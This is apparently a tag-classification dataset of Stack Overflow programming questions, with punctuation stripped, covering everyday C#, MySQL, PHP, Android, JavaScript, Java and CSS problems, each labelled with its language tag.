how to vertically populate each column of listview with lists  i have data which i import from textfiles  transfer to an sqlite db  then transfer that into lists. now i want to show these lists to the user in a listview. each column should contain a list.     below  the contents of the second column are perfectly fine. but  the 3rd and the fourth column should be vertically filled with the items that correspond to their color values.     <img src= https://i.stack.imgur.com/o6d95.png  alt= enter image description here >    i.e from the code below  i want to populate the 3rd and 4th column with the maxlen list and percentpoplist list. (yes i know that i skipped a column  but i ll fix that later)    i m new to programming and i cant figure out how to make that work.   <pre><code>  listviewitem lvi = new listviewitem();               foreach (object o in seqirregularities)               {                   lvi.subitems.add(o.tostring());                   listview1.items.add(lvi);//adds a new row                   lvi = new listviewitem();               }                listview1.items.add(lvi);//adds a new row               lvi = new listviewitem();                 foreach (object a in maxlen)               {                   lvi.subitems.add(a.tostring());               }                listview1.items.add(lvi);//adds a new row               lvi = new listviewitem();                foreach (object b in percentpoplist)               {                   lvi.subitems.add(b.tostring());               }                listview1.items.add(lvi);//adds a new row </code></pre>,c#
listing user types with counts and percentages  i have a <code> users </code> table:   <pre><code>user_id | prov_platform   | first_name   | last_name --------|-----------------|--------------|------------------- 1       | facebook        | joe          | bloggs 2       | facebook        | sue          | barker 3       |                 | john         | doe 4       | twitter         | john         | terry 5       | google          | angelina     | jolie </code></pre>   and i originally wanted to return a list of all the different social platform types there were in my users table  with counts beside each one - so i came up with this:   <pre><code>select ifnull(prov_platform   other ) as prov_platform   count(*) as platform_total from users group by prov_platform order by platform_total desc </code></pre>   which resulted in this:   <pre><code>prov_platform  | platform_total ---------------|----------------- facebook       | 2 twitter        | 1 google         | 1 other          | 1 </code></pre>   but i now want to add another couple of fields to this query;  allround_total  and  percentage . so  the above recordset would become:   <pre><code>prov_platform  | platform_total | allround_total | percentage ---------------|----------------|----------------|--------------- facebook       | 2              | 5              | 40% twitter        | 1              | 5              | 20% google         | 1              | 5              | 20% other          | 1              | 5              | 20% </code></pre>   this is as far as i got before getting in a muddle:   <pre><code>select     u.prov_platform       count(*) as platform_total      allround_total      allround_total/platform_total*100 as percentage from     users as u inner join (            select count(*) as allround_total from users            ) as allround_total group by     prov_platform order by     platform_total desc </code></pre>   this returns the  allround_total  field  which works  but have no idea how performance friendly it ll be. what i can t workout is how to get the percentage to work correctly. currently  the above query returns an error:   <blockquote>    unknown column  platform_total  in  field list   </blockquote>   i think i m close  i just need a much appreciated push over the line.,mysql
php: issue with calling the parent method <pre><code>&lt; php class html { protected $name; public $id; private $with; protected function basicattribute() { return  name= $this-&gt;name  id= $this-&gt;id  ; } } class html_div extends html { public function __construct($id   $name) { $this-&gt;id = $id; $this-&gt;name = $name; } public function getdiv($content) { $basicattribute = $this-&gt;basicattribute(); echo  &lt;div $basicattribute &gt;$content&lt;/div&gt; ; } } $objdiv = new html_div( bloc_main     avc ); $objdiv-&gt;getdiv( this is and example of inheritance in php ); </code></pre>   question:    if i change <code>$basicattribute = $this-&gt;basicattribute();</code> to <code>$basicattribute = parent::basicattribute();</code>  it also works. so i wonder what is the difference between them  and which is the better way to call parent method,php
get total working hour based of day of the week  i want to check if employee s daily working hour is less than total working hour assigned.    for example employee #1 are assigned to work :   <pre><code>day | total working hours mon | 10 tue | 10 wed | 10 thu | 10 fri | 10 sat | 0 sun | 0 </code></pre>   i have total working hour of employee #1 as below :    <pre><code>start               | end                         | total hours worked 2018-07-02 00:28:29 | 2018-07-02 04:12:17         | 3.72  2018-07-05 00:26:20 | 2018-07-05 05:03:23         | 4.62  2018-07-12 00:27:35 | 2018-07-12 10:21:08         | 9.88 </code></pre>   the problem i m facing is to know which day of the week to check the total working hour based on date. e.g. 2018-07-02 is monday so the total working hour employee should work is 10 hours however the total hour worked by the employee is only 3.72. hence for 2018-07-02 employee has not fullfill total working hour assigned.    the expected query result should return :    <pre><code>short working hour date  2018-07-02 2018-07-05 2018-07-12 </code></pre>   appreciate any help from you guys. thanks,mysql
how to use join in the query to fetch data from multiple subqueries <pre><code>    select   dates               sum(total_likes) as total_likes               sum(real_like) as real_like               sum(secret_like) as secret_like     from     (      select  cast(added_datetime as date) as dates            sum(if(like_flag=1 1 -1)) as total_likes            (               select sum(if(like_flag=1 1 -1))               from like_message_audit_log la              where  user_profile_type=1 and cast(added_datetime as date)=  2017-07-21               and    like_mode in(1 2)               group by user_profile_id_fk               ) as real_like            (             select sum(if(like_flag=1 1 -1))             from like_message_audit_log la            where  user_profile_type=2 and cast(added_datetime as date)=  2017-07-21             and    like_mode in(1 2)             group by user_profile_id_fk            )as secret_like         from like_message_audit_log la        where  cast(added_datetime as date)=  2017-07-21         and    like_mode in(1 2)      )as t      group by dates; </code></pre>   above query run only for one date but i want to run it for date range between two dates how to write that query please suggest    output of above query like is: dates        total_likes     real_like  secret_like 2017-07-21    16               15             1    i rewrite above query like:   <pre><code>      select  dates     sum(total_likes) as total_likes      sum(real_likes_count) as real_like      sum(secret_likes_count) as secret_like     from     (   select          cast(added_datetime as date) as dates          like_mode as modes          count(case when like_flag=1 then 1 end) as total_likes          count(case when like_flag=1 and user_profile_type=1 then 1 end) as real_likes_count          count(case when like_flag=1 and user_profile_type=2 then 1 end) as secret_likes_count     from like_message_audit_log la     where added_datetime in              (   select max(lb.added_datetime) as added_datetime                 from like_message_audit_log lb                 where la.user_profile_id_fk=la.user_profile_id_fk and lb.message_unique_id_fk=la.message_unique_id_fk                 group by user_profile_id_fk  message_unique_id_fk             )     group by cast(added_datetime as date)        )as t      where dates between  2017-07-21  and  2017-08-04        and    modes in(1 2)     group by  dates    order by  dates desc; </code></pre>   this query works but take too much time can i optimize above query,mysql
how do i represent the infinite number ~0.99999..... in objective-c / ios   i have a number that could potentially go on forever  like ~0.999999...     see this:   <pre><code>while (mynumber / 25 &gt; 0.999999) {    // do stuff } </code></pre>   how can i represent that number in objective-c properly     or maybe i am doing this <code>while</code> loop incorrectly and someone can tell me how to fix it  i m trying to see if <code>mynumber</code> can be divided by 25 at least once... so even 26/25 would pass (mod <code>%</code> wouldn t work in this case).,objective-c
variables from a table that not exist in another one  hello everybody i am currently trying to get the variables from one table that not exist in a second in mysql   for example i have this code    <pre><code>select students.`studentid` from students join studentsdays on studentsdays.`studentid`=students.`studentid` join studentshours on studentshours.`studentid`=students.`studentid` join studentclassroom on studentclassroom.`studentid`=students.`studentid` join attendance on attendance.`studentid` = students.`studentid` where dayid= 14mon  and hoursid= ora2  and classroomid=101 and courseid =1111 </code></pre>   which displays the following table    <pre><code>studentid ----------  11111 ----------  22222 ----------  33333    </code></pre>   the second code    <pre><code>select user_id from demo_log </code></pre>   displays the following table   <pre><code>user_id ----------  11111 ----------  22222 </code></pre>   how can i put this codes together to get a table that will have the values that are only on the first table   give a table like this one    <pre><code>studentid ----------  33333    </code></pre>,mysql
send file to server insetead of sending file path  i want to send file (like jpg pdf etc)in backend instead of file path using android volley. i am getting file path instead of file in backend. we request you to please tell me the procedure how to send file in backend using file chooser instead of file path. please tell me the procedure.   <pre><code>   // submit btn           sbmt_btn.setonclicklistener (new view.onclicklistener ( ) {                @override              public void onclick(view view) {                  nextadditional();              }               private void nextadditional() {                   jsonobject js = new jsonobject ();                  try {                      js.put ( extrainfoid    );                      js.put ( createdby    );                      js.put ( partyid     );                      js.put ( notes  note_edit.gettext ().tostring ());                      js.put ( logopath    );                      jsonobject jsonobject_one = new jsonobject ();                      jsonobject_one.put ( id    );                      jsonobject_one.put ( certificationtype     );                      jsonobject_one.put ( certificationfilepath   b);                      jsonobject jsonobject_two = new jsonobject ();                      jsonobject_two.put ( id     );                      jsonobject_two.put ( documenttype    );                      jsonobject_two.put ( documentfilepath    );                      jsonarray ja = new jsonarray ();                      ja.put (jsonobject_one);                      js.put ( certifications  ja);                      jsonarray jsonarray = new jsonarray ();                      jsonarray.put (jsonobject_two);                      js.put ( documents  jsonarray);                   } catch (jsonexception e) {                      e.printstacktrace ( );                  }                   mrequestqueue = volley.newrequestqueue (additionalactivity.this);                           jsonobjectrequest jsonobjreq = new jsonobjectrequest (                                  request.method.post url  js                                   new response.listener&lt;jsonobject&gt;() {                                      @override                                      public void onresponse(jsonobject response) {                                          log.d(tag  response.tostring());                                           toast.maketext (additionalactivity.this  success  toast.length_long).show ();                                        }                                  }  new response.errorlistener() {                               @override                              public void onerrorresponse(volleyerror error) {                                  log.d(tag   error:   + error.getmessage());                                  toast.maketext (additionalactivity.this  failure  toast.length_long).show ();                               }                          }) {                               /**                               * passing some request headers                               */                              @override                              public map &lt;string  string&gt; getheaders() throws authfailureerror {                                  hashmap &lt;string  string&gt; headers = new hashmap &lt;string  string&gt; ( );                                  headers.put ( content-type    application/json; charset=utf-8 );                                  return headers;                              }                           };                           mrequestqueue.add (jsonobjreq);                       }           }); </code></pre>   // attachement 1   <pre><code>         iso_btn.setonclicklistener (new view.onclicklistener ( ) {              @override              public void onclick(view view) {                   new materialfilepicker()                          .withactivity(additionalactivity.this)                          .withrequestcode(1003)                          .withhiddenfiles(true) // show hidden files and folders                          .start();                }          });            logo_btn.setonclicklistener (new view.onclicklistener ( ) {              @override              public void onclick(view view) {                   new materialfilepicker()                          .withactivity(additionalactivity.this)                          .withrequestcode(1002)                          .withhiddenfiles(true) // show hidden files and folders                          .start();               }          });               attachment_btn.setonclicklistener (new view.onclicklistener ( ) {              @override              public void onclick(view view) {                   new materialfilepicker()                          .withactivity(additionalactivity.this)                          .withrequestcode(1000)                          .withhiddenfiles(true) // show hidden files and folders                          .start();              }          });               }              @override             protected void onactivityresult(int requestcode  int resultcode  intent data) {                 super.onactivityresult(requestcode  resultcode  data);                  if (requestcode == 1000 &amp;&amp; resultcode == result_ok) {                     string filepath = data.getstringextra(filepickeractivity.result_file_path);                      attachment_tv.settext (filepath);                      file = new file (filepath);                      b = new byte[(int) file.length()];                     try {                         fileinputstream fileinputstream = new fileinputstream(file);                         fileinputstream.read(b);                         for (int i = 0; i &lt; b.length; i++) {                             system.out.print((char)b[i]);                         }                     } catch (filenotfoundexception e) {                         system.out.println( file not found. );                         e.printstacktrace();                     }                     catch (ioexception e1) {                         system.out.println( error reading the file. );                         e1.printstacktrace();                     }                   }                  if (requestcode == 1002 &amp;&amp; resultcode == result_ok) {                     string filepath1 = data.getstringextra(filepickeractivity.result_file_path);                     logo_tv.settext (filepath1);                     // do anything with file                 }                  if (requestcode == 1003 &amp;&amp; resultcode == result_ok) {                     string filepath2 = data.getstringextra(filepickeractivity.result_file_path);                     iso_tv.settext (filepath2);                     // do anything with file                 }              }              @override             public void onrequestpermissionsresult(int requestcode  @nonnull string[] permissions  @nonnull int[] grantresults) {                 switch (requestcode){                     case 1001:{                         if (grantresults[0]==packagemanager.permission_granted){                              toast.maketext (this  permission granted  toast.length_long).show ();                         } else {                             toast.maketext (this  permission denied  toast.length_long).show ();                             finish ();                              {                         }                          }                     }                 }             }         } </code></pre>,android
why the javascript code doesn t work  <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;test&lt;/title&gt;     &lt;script type= text/javascript &gt;     window.onload = function(){         document.getelementbyid( mymessage ).innerhtml =  hello world! ;     } &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;     &lt;h1 id== mymessage &gt;&lt;/h1&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   when i run the file  there is no <code>hello world!</code> output. why,javascript
how to do when the activity back to the background forced to redraw the view  help！ i want to re-draw the page in the app back to the background  but the addview method does not work  the system did not call the ondraw method。    i tried calling the invalidate method and the requestlayout method  but it did not have any effect. is there any way to solve it  here is the main code.   <pre><code>private handler handler = new handler(looper.getmainlooper()); fragmentlayout view1 = (framelayout)getwindow().getdecorview();  @override protected void onpause() {     super.onpause();     handler.post(new runnable() {         @override         public void run() {             addrenderscriptbitmap();         }     });     getwindow().getdecorview().findviewbyid(android.r.id.content).invalidate();     getwindow().getdecorview().findviewbyid(android.r.id.content).requestlayout();  }   private void addrenderscriptbitmap() {     view1.setdrawingcacheenabled(true);     view1.builddrawingcache();     bitmap bitmap = view1.getdrawingcache();      imageview imageview = new imageview(mainactivity.this);     imageview.setlayoutparams(new linearlayoutcompat.layoutparams(viewgroup.layoutparams.match_parent  viewgroup.layoutparams.match_parent));     imageview.setimagebitmap(renderscriptbitmap(bitmap  mainactivity.this  16.f));     view1.addview(imageview);//this method does not work }  public bitmap renderscriptbitmap(bitmap sentbitmap  context context  float radius) {     bitmap bitmap = sentbitmap.copy(sentbitmap.getconfig()  true);       final renderscript rs = renderscript.create(context);     final allocation input = allocation.createfrombitmap(rs  sentbitmap  allocation.mipmapcontrol.mipmap_none              allocation.usage_script);     final allocation output = allocation.createtyped(rs  input.gettype());     final scriptintrinsicblur script = scriptintrinsicblur.create(rs  element.u8_4(rs));     script.setradius(radius /* e.g. 3.f */);     script.setinput(input);     script.foreach(output);     output.copyto(bitmap);     return bitmap; } </code></pre>   i want the application to fall back into the background when it becomes like this： <a href= https://i.stack.imgur.com/q0cn6.png  rel= nofollow noreferrer >enter image description here</a>,android
how to eliminate and show only non-duplicate records  see the below table:   <pre><code>col1     col2 ----     ----  1    |   a        2    |   b      3    |   c  4    |   a  5    |   d  6    |   b  7    |   e </code></pre>   now i want to show only the non-duplicate records. which means 3 5 7.     how to write a query to get the result,sql
embed windows media player in html web page with playlist feature  i want to embed an audio player into my web page with a playlist feature.  how can i do this,html
fmod is inconsistent with division  usually we got same result(not exactly same  but nearly same) for following code (suggest x > 0   y > 0):   <pre><code>code 1 : fmod(x y) code 2 : x - y * trunc(x/y) </code></pre>   but for some value  they will be very different.    test code:   <pre><code>int main() {     cout &lt;&lt; std::boolalpha;     cout &lt;&lt; std::setprecision(20);      double x = 30.508474576271183309;     double y = 6.1016949152542370172;      cout &lt;&lt;  x:   &lt;&lt; x &lt;&lt;   y:  &lt;&lt; y &lt;&lt;  \n ;     cout &lt;&lt;  x/y:   &lt;&lt; x / y &lt;&lt;  \n ;     cout &lt;&lt;  x - trunc(x/y)*y:   &lt;&lt; x - trunc(x / y)*y &lt;&lt;  \n ;     cout &lt;&lt;  fmod(x y):   &lt;&lt; fmod(x  y) &lt;&lt;  \n ;       system( pause );     return 0; } </code></pre>   result:   <pre><code>x: 30.508474576271183309 y:6.1016949152542370172 x/y: 5 x - trunc(x/y)*y: 0 fmod(x y): 6.1016949152542352408 </code></pre>   env: vs2017 win10    <strong>update 1</strong> : this problem is not same as <a href= https://stackoverflow.com/questions/38447548/c-fmod-returns-0-2-for-fmod0-6-0-2 rq=1 >c++ fmod returns 0.2 for fmod(0.6 0.2)</a>    if you set x to 0.6 and y to 0.2  you will get same result for code 1 and code 2. but in this situation they will be different.    <strong>update 2</strong> : i will use another way to describe the problem.    <pre><code>double x  x &gt; 0  known double y  y &gt; 0  known int quotient  quotient &gt; 0  unknown double remainder  remainder &gt; 0  unknown  formula 1: x == y * quotient + remainder </code></pre>   for known x y   if i want calculate quotient and remainder (and make sure they satisfied with the formula 1)  in c++  usually we have two ways to do that:   <pre><code>method 1: quotient = trunc(x/y)  remainder = fmod(x y); method 2: quotient = trunc(x/y)  remainder = x - y * trunc(x/y); </code></pre>   for method 1  it will output quotient and remainder but they will not satisfied with the formula 1 (for specific x and y).     <strong>update 3</strong> : i meet this problem when doing ads-b cpr local decoding. there is a step called  calculate the latitude index j  as followed    <a href= https://i.stack.imgur.com/c2zm5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/c2zm5.png  alt= enter image description here ></a>    if we strictly follow it and just replace mod with fmod in c++  then we will get wrong result for specific lat_ref and dlat.,c++
python check if value is in a list of dicts  i have a list of dicts e.g.   <pre><code>[{ name : bernard   age :7} { name : george   age :4} { name : reginald   age :6}] </code></pre>   i d like to check to see if a string value is the same as the  name  value in any of the dicts in the list. for example  harold  would be false  but  george  would be true.    i realise i could do this by looping through each item in the list  but i was wondering if there was a more efficient way,python
why keyup event not works on input tags that dynamically added to page   i want to add input tag dynamically add to my page by jquery but when add it  keyup  event not work but when add input to page by hard code it works.    i look at my codes by firebug every things is ok but i thing when page going to render keyup event assign to all elements that i define by  .txtbox  class and when i add another one dinamically it ha not this event.    how can i handle this problem    <pre><code>var i = 0;//generate a number for id function addit() { i = i + 1;    //this line add dynamic input to a div with class  .x   $( .x ).prepend( &lt;input id=\ text1  + i +  \  value=\   + i+  \  type=\ text\                      class=\ txtbox\   /&gt;&lt;br /&gt; );  }  //when page load all  .txtbox  classes get  keyup  event $(function ()     {   $( .txtbox ).keyup(function(e){       if (e.keycode == 13) {           alert( hi );         }     }); });   //html codes &lt;input id= button1  type= button  value= add it  onclick= addit()  /&gt;   &lt;div class= x &gt;         &lt;input id= text11  value= 1  type= text  class= txtbox  /&gt;&lt;br /&gt;   &lt;/div&gt; </code></pre>,jquery
element of a multidimensional array  java  i have an array:   <pre><code>public string[][] bombboard = new string[9][9]; </code></pre>   this array is filled with values (*)  however randomly throughout there are some other values (@).    later in the program i want to tell the user how where the (@) is  if there are in the vicinity:   <pre><code>public void loadnumbers() {     try     {         if (bombboard[bombrow][bombcol] ==  @ )          {             system.out.println( you have landed on a bomb! );             //break         }         else if (bombboard[bombrow+1][bombcol].equals( @ ))         {             system.out.println( there is a bomb in the vicinity!  + bombboard[bombrow+1][bombcol]);         }         else if (bombboard[bombrow-1][bombcol] ==  @ )         {             system.out.println( there is a bomb in the vicinity!  + bombboard[bombrow-1][bombcol]);         }         else if (bombboard[bombrow][bombcol+1] ==  @ )         {             system.out.println( there is a bomb in the vicinity!  + bombboard[bombrow][bombcol+1]);         }         more code...     }  } </code></pre>   it prints: <code> there is a bomb in the vicinity!@ </code>    i want it to print <code> there is a bomb at 3  2 </code>    probably so simple  but i m drawing blanks. instead of pulling back whats inside the element  i want the element index (i presume). please halp!,java
how to iterate over two collections of objects simultaneously  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1365793/how-to-most-elegantly-iterate-through-parallel-collections >how to most elegantly iterate through parallel collections </a><br>   <a href= https://stackoverflow.com/questions/2118932/is-there-an-accepted-java-equivalent-to-pythons-zip >is there an accepted java equivalent to python&#39;s zip() </a>    </blockquote>     i have to iterate simultaneously over two collections of objects to see if their members are equal. is there a way of using a counter to access the object or do something similar to the for loop below     <pre><code>boolean comparecollection(collection&lt;object&gt; c1  collection&lt;object&gt; c2) {      //something like -      for (object ob1 : c1  object ob2 : c2){            //check if ob1.val == ob2.val      }      return true; } </code></pre>,java
mysql - why and in where is not considered   in the below query even position and category_id conditions are met there is no record  retrieved.   <pre><code>select `jobs`.* from `jobs` where (interview_date &gt;=  2012-05-03 17:54:41 +0530 )   and (position like  %ror%      and category_id =  11      and experience_id =  5       and interview_address like  %% ) order by interview_date asc </code></pre>   but for the same query when category_id and experience_id conditions are met i am getting the result.i am totally confused.   <pre><code>select `jobs`.* from `jobs` where (interview_date &gt;=  2012-05-03 17:55:07 +0530 )   and (position like  %%      and category_id =  11      and experience_id =  5      and interview_address like  %% ) order by interview_date asc </code></pre>   i have used and condition but it returns result when only two conditions are satisfied. am i missing anything here     thank you folks.,mysql
good tutorial to learn c++ development for game boy  i m learning <em>c++</em> with this book of deitel: <a href= http://www.deitel.com/books/cpphtp5/  rel= nofollow noreferrer ><em>c++ how to program  5/e</em></a> and some tutorials and resources of the internet  but i want to learn how i can develop <em>nintendo gameboy advance</em> games using <em>c++</em>  but only in resources over the internet  because i don t want to spent money now with a thing that i only want to try.,c++
why does this line of c++ cause seg fault  <pre><code>struct listnode {     int val;     listnode *next;     listnode(int x) : val(x)  next(null) {} };   int main() {      listnode *dummy(0);     cout &lt;&lt; dummy-&gt;val &lt;&lt; endl; } </code></pre>   it segfaults at dummy->val    and why does this work    <pre><code>listnode initnode(0); listnode *dummy = &amp;initnode; </code></pre>,c++
php mail and lines should not be larger than 70 characters  i can t understand this line from the official documentation of mail function in php:<br> <a href= http://php.net/manual/en/function.mail.php  rel= noreferrer >http://php.net/manual/en/function.mail.php</a>       <blockquote>    each line should be separated with a lf (\n). lines should not be   larger than 70 characters.      </blockquote>   even more  in their example they recommens to do something like this:       <pre><code>// the message $message =  line 1\nline 2\nline 3 ;  // in case any of our lines are larger than 70 characters  we should use wordwrap() $message = wordwrap($message  70); </code></pre>   why is that  and <strong>what happens with urls for example</strong>  they are frequently much larger than 70 characters<br> what are the problems we could have if we don t do it         thanks!,php
iphone private api  is xcode will show warning if we use private api in our iphone application...     thanks....,iphone
why the static is used rather normal declaration   <strong>just a doubt. what is static vs final </strong> <em>this is the code for sum of two elements in an array equals target.</em>   <pre><code>   int *twosum(int numbers[]  int n  int target)         {              int temp = 0;             int i = 0 j;              //here i cant understand  why the static is used rather normal declaration.             static int result[2];              for(i = 0; i &lt; n; i++)             {                 for(j = i+1; j &lt; n; j++)                 {                     if(numbers[i]+numbers[j] == target)                     {                         result[0] = i ;                         result[1] = j ;                         break;                     }                 }             }             return result;         } </code></pre>,c
javascript  a little coding help  cant figure this out  everything below works fine  except that the form doesnt get submitted... it seems the problem lies in the  x.onchange  event... any tips    <pre><code> var form = document.forms[ pic_form ];  var x=document.createelement( input );  x.type= file ;  x.name= pic_file2 ;  x.id= pic_file2 ;  x.size= 35 ;  x.onchange= pic_form_function(form  1); ;  var z=document.getelementbyid( pic_file2 );  z.parentnode.replacechild(x  z); </code></pre>   here is the function called:   <pre><code>    pic_form_function(formname  nr){ if (nr==1){formname.submit(); }} </code></pre>   it wont submit  but it does get replaced and all... help please!,javascript
"angularjs controller scope vs directive scope   please refer to this angularjs example at <a href= http://plnkr.co/edit/7l2exi9htgovcfzxppoi  rel= nofollow noreferrer >plunker</a>  or at the code below    <strong>my first question:</strong><br> in the accordion directive at line 40  why is the scope variable  expanders  reinitialized to an empty array as follows <code>var expanders = [];</code> after it was initialized originally in the somecontroller at line 20     <strong>my second question:</strong><br> why they passed the directive scope at line 70 and 74 and not the element      as follows:   <ul> <li> line 70: <code>accordioncontroller.addexpander(scope);</code> </li> <li> line 74: <code>accordioncontroller.gotopened(scope);</code> </li> </ul>   <strong>my third question:</strong> i moved all the code from the accordion controller to the link function of the expander directive and the app still working 100%   why they built the expanders array on the parent accordion directive if they could built it in the link function of the expander   please refer to this new <a href= http://plnkr.co/edit/nfmoqkqq5tltibwkkocj  rel= nofollow noreferrer >plunk</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.expander {
   border: 1px solid black;
   margin: 1px;
   width: 250px;
 }
 
 .expander &gt; .title {
   background-color: black;
   color: white;
   padding: .1em .3em;
   cursor: pointer;
 }
 
 .expander &gt; .body {
   padding: .1em .3em;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en 
      http://www.w3.org/tr/html4/loose.dtd &gt;
 &lt;html ng-app= appmodule &gt;
 &lt;head&gt;
   &lt;title&gt;accordion&lt;/title&gt;
   &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js &gt;&lt;/script&gt;
   &lt;link href= accordion.css  rel= stylesheet &gt;
 &lt;/head&gt;
   &lt;body ng-controller= somecontroller  &gt;
     &lt;accordion&gt;
       &lt;expander class= expander 
                 ng-repeat= expander in expanders 
                 expander-title= expander.title &gt;
         {{expander.text}}
       &lt;/expander&gt;
     &lt;/accordion&gt;
   &lt;/body&gt;
 
 &lt;script&gt;
   function somecontroller($scope) {
     $scope.expanders = [
       {title:  click me to expand  
         text:  hi there folks  i am the content that was hidden but is now shown. } 
       {title:  click this  
         text:  i am even better text than you have seen previously } 
       {title:  no  click me!  
         text:  i am text that should be seen before seeing other texts }
     ];
   }
 
   var appmodule = angular.module( appmodule   []);
 
   appmodule.directive( accordion   function() {
     return {
       restrict:  ea  
       replace: true 
       transclude: true 
       template:  &lt;div ng-transclude&gt;&lt;/div&gt;  
       controller: function() {
         var expanders = [];
 
         this.gotopened = function(selectedexpander) {
           angular.foreach(expanders  function(expander) {
             if (selectedexpander != expander) {
               expander.showme = false;
             }
           });
         }
 
         this.addexpander = function(expander) {
           expanders.push(expander);
         }
       }
     }
   });
   appmodule.directive( expander   function(){
     return {
       restrict:  ea  
       replace: true 
       transclude: true 
       require:  ^ accordion  
       scope: { title: =expandertitle  } 
       template:  &lt;div&gt;  +
            &lt;div class= title  ng-click= toggle() &gt;{{title}}&lt;/div&gt;  +
            &lt;div class= body  ng-show= showme  ng-transclude&gt;&lt;/div&gt;  +
            &lt;/div&gt;  
       link: function(scope  element  attrs  accordioncontroller) {
         scope.showme = false;
         accordioncontroller.addexpander(scope);
 
         scope.toggle = function toggle() {
           scope.showme = !scope.showme;
           accordioncontroller.gotopened(scope);
         }
       }
     }
   });
 &lt;/script&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",angularjs
trying to store raw bytes inside my one python script file  i am currently working on a python script that will be able to hide all binary files inside itself. it does this by reading all binary data from the targeted file and then stores it in a list inside itself. then it removes the file to hide it.    here is my problem: when i store the read bytes in my script file  python complains that it is not utf-8-code. here is a small sample of how the raw data that i read looks like:   <pre><code>ßëm€€ê yqtm×ßü«wtª¼é[–±ê </code></pre>   how can i store those bytes without ruining the script  i guess i can store each byte as a  code-point instead so that the interpreter accepts it. but how do i tell the write()-i/o function to write bytes as code-points,python
ihttphandler to redirect  https://example.com  to  https://www.example.com    i use iis7 s <code>http redirect</code> feature to redirect <a href= http://example.com  rel= nofollow >http://example.com</a> requests to <a href= http://www.example.com  rel= nofollow >http://www.example.com</a> but this feature cannot be used in this way with <code>https</code> protocol.    is it possible to use <code>ihttphandler</code> to accomplish this,asp.net
reading cookies working in firefox/ie  not chrome  i ve got a code that works to change style sheets and saving them in cookies in firefox and ie but it doesn t work in chrome.     this is the code i m using:   <pre><code>&lt;head&gt; &lt;link href= default.css  title= default  rel= stylesheet  type= text/css  /&gt; &lt;link href= theme1.css  title= theme1  rel= stylesheet  type= text/css  /&gt; &lt;link href= theme2.css  title= theme2  rel= stylesheet  type= text/css  /&gt; &lt;link href= theme3.css  title= theme3  rel= stylesheet  type= text/css  /&gt;  &lt;script type= text/javascript  src= javascript.js &gt;&lt;/script&gt;  &lt;/head&gt; &lt;body&gt; &lt;ul id= dropdown &gt; &lt;li&gt; choose theme     &lt;ul&gt;          &lt;li id= stylesheet1  &gt; &lt;a href= # &gt; default &lt;/a&gt;&lt;/li&gt;         &lt;li id= stylesheet2  &gt; &lt;a href= # &gt; theme 1 &lt;/a&gt;&lt;/li&gt;         &lt;li id= stylesheet3  &gt; &lt;a href= # &gt; theme 2 &lt;/a&gt;&lt;/li&gt;         &lt;li id= stylesheet4  &gt; &lt;a href= # &gt; theme 3 &lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt;    &lt;/body&gt; </code></pre>   and the javascript.js contains this:   <pre><code>function setactivestylesheet(title) {   var i  a  main;   for(i=0; (a = document.getelementsbytagname( link )[i]); i++) {     if(a.getattribute( rel ).indexof( style ) != -1 &amp;&amp; a.getattribute( title )) {       a.disabled = true;       if(a.getattribute( title ) == title) a.disabled = false;     }   }  }  function getactivestylesheet() {   var i  a;   for(i=0; (a = document.getelementsbytagname( link )[i]); i++) {     if(a.getattribute( rel ).indexof( style ) != -1 &amp;&amp; a.getattribute( title ) &amp;&amp; !a.disabled) return a.getattribute( title );   }   return null; }  function getpreferredstylesheet() {   var i  a;   for(i=0; (a = document.getelementsbytagname( link )[i]); i++) {     if(a.getattribute( rel ).indexof( style ) != -1        &amp;&amp; a.getattribute( rel ).indexof( alt ) == -1        &amp;&amp; a.getattribute( title )        ) return a.getattribute( title );   }   return null; }  function createcookie(name value days) {   if (days) {     var date = new date();     date.settime(date.gettime()+(days*24*60*60*1000));     var expires =  ; expires= +date.togmtstring();   }   else expires =   ;   document.cookie = name+ = +value+expires+ ; path=/ ; }  function readcookie(name) {   var nameeq = name +  = ;   var ca = document.cookie.split( ; );   for(var i=0;i &lt; ca.length;i++) {     var c = ca[i];     while (c.charat(0)==   ) c = c.substring(1 c.length);     if (c.indexof(nameeq) == 0) return c.substring(nameeq.length c.length);   }   return null; }    window.onload = function(e) {   var cookie = readcookie( style );   var title = cookie   cookie : getpreferredstylesheet();   setactivestylesheet(title); }  window.onunload = function(e) {   var title = getactivestylesheet();   createcookie( style   title  365); }    var cookie = readcookie( style ); var title = cookie   cookie : getpreferredstylesheet(); setactivestylesheet(title);   function initate() {  document.getelementbyid( stylesheet1 ).onclick = function() {    setactivestylesheet( default );    return false }; document.getelementbyid( stylesheet2 ).onclick = function() {    setactivestylesheet( theme1 );    return false }; document.getelementbyid( stylesheet3 ).onclick = function() {    setactivestylesheet( theme2 );    return false }; document.getelementbyid( stylesheet4 ).onclick = function() {    setactivestylesheet( theme3 );    return false }  }  window.onload = initate; </code></pre>   it does work to change the style sheet in chrome but when i reload the page it doesn t keep the chosen style sheet like it does in ie and firefox. i can t figure why it doesn t work in chrome. i m new to javascript and most of the code used is not written by me but taken from different places so i don t really understand most of it.,javascript
how can i put two divs next to each other in css   i want to put two divs next to each other but no matter what i do  the second div always ends up somewhere under the first. i have tried:   <pre><code>div.one { width:50%; float:left; }  div.two { width:50% float:right; margin-left:50%; } </code></pre>   and   <pre><code>div.one { width:50%; display:inline-block; }  div.two { width:50%; display:inline-block; } </code></pre>,css
